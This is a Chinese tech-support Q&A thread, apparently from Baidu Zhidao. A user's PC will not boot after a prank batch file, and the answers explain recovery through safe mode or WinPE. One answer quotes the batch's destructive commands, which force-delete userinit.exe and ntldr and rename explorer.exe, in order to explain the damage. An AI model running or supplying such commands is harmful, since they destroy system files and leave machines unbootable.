Question

中了个恶搞电脑的bat,无法开机

http://wenku.baidu.com/view/bf4a8dd9d15abe23482f4dce.html

因为这个程序开机连桌面都进不了，自动注销
联系qq846358839

Answer 1

根据那个恶搞东西看了一下，应该可以自动恢复系统的，如果按其提示操作的话。
如果想手动清理，这个比较麻烦，需要进入安全模式，如果无法进入，可以使用带有WINPE的启动工具（光盘或U盘）启动电脑进入WINPE里面，根据该BAT文件内容，将它修改的东西恢复回来（将系统盘上的killer.dll改名为explorer.exe ），比如新建的文件（d:\小小木马.exe、killer.dll、a.bat、90后女生的龌龊事太震撼了.bat ），一个一个找到后删除，修改的文件请恢复原来的文件名和位置，如果它删除掉的文件，请到相同系统的电脑上复制一个到相应的目录即可。

追问

您好，可以留下qq详谈吗？谢谢

追答

你先自己动手试试，不清楚的再联系357313095

Answer 2

taskkill /f /im explorer.exe
taskkill /f /im qq.exe
1.结束explorer \QQ 进程。
-----------------------------------
ren %SystemRoot%\explorer.exe killer.dll
del /f /s /q %SystemRoot%\explorer.exe
2.它把explorer.exe给改名了，，

---------------------------------
del %SystemRoot%\killer.dll
del /f /s /q %SystemRoot%\system32\userinit.exe
attrib -r -s -h %SystemDrive%\ntldr % del %SystemDrive%\ntldr
3.删除已更名的explorer.exe 即killer.dll
删除userinit(用户初始化）
删除ntldr，NT系统基础文件

--------------------
echo @echo off >a.bat
echo del d:\小小木马.exe >>a.bat
echo del a.txt >>a.bat
echo del 90后女生的龌龊事太震撼了.bat >>a.bat
echo exit >>a.bat
start a.bat

----------------------
全部按Y后，结束的时候，你正高兴，他又重新运行这个bat了。
所以，基本上先前你一直按Y，，
到了：echo 想知道是什么吗？按任意键你就知道了。
的时候，
按ctrl+C，，或者在这个时候，直接重启电脑，，别理它。
至于多出来的文件，手动删除掉就可以了。

追问

我现在都不能开机啊 怎么办啊？一输入开机密码就注销

追答

因为userinit文件被删除，
所以，请到别的电脑上拷一个，，用PE 进去复制到你电脑上。

这样的话，估计你的explorer.exe文件也被删除了，，也拷份去。还有ntldr

-----------注意路径。

追问

谢谢你 能加你qq吗

追答

不了，谢谢，有事百度留言。

Answer 3

直接进安全模式，把这个恶搞的BAT，删除就搞定了。

追问

安全模式也进不去

追答

那么就进入DOS或者找个PE盘启动，然后去删除相应的文件。

Answer 4

一般是采用安全模式U盘杀毒，如果你的C盘系统被破坏，简单点从装系统吧。维护维修戴尔与惠普专家级选择计维，做到维码兼容，数据恢复保护。

Answer 5

开机按f8进入安全模式试试